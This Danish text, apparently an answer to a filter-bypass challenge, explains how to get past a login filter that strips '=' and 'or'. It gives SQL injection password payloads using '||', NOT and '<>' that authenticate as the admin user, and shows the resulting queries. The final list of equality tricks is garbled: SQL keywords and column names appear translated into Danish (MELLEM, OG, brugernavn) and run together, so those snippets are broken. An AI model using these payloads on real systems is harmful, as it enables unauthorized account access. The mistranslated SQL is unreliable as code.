Forudsat denne definition af lvl2_filter
, som dybest set fjerner enhver forekomst af = og eller indtil den ikke længere findes, bør det stadig være muligt at bruge logisk ELLER-operation
med || i stedet for ELLER og et simpelt udtryk, der vurderes til at være sandt som:
username: dummy
password: ' || '1
Dette ville resultere i:
SELECT user_id FROM users WHERE username='dummy' and password='' || '1'
For at vælge en bestemt bruger kan man bruge reglerne for boolsk algebra
, hvor x=y =!(x!=y) :
username: dummy
password: ' || NOT(username<>'admin') AND '1
Dette ville resultere i:
SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'
Her <> svarer til != men indeholder ikke en = .
Der er også andre operationer, som man kunne bruge for at sikre brugernavn er lig med admin :
brugernavn MELLEM 'admin' OG 'admin'brugernavn LIKE 'admin'brugernavn IN ('admin')IF(STRCMP(brugernavn,'admin'), 0, 1)CASE STRCMP(brugernavn,'admin') WHEN 0 THEN 1 ELSE 0 END- ...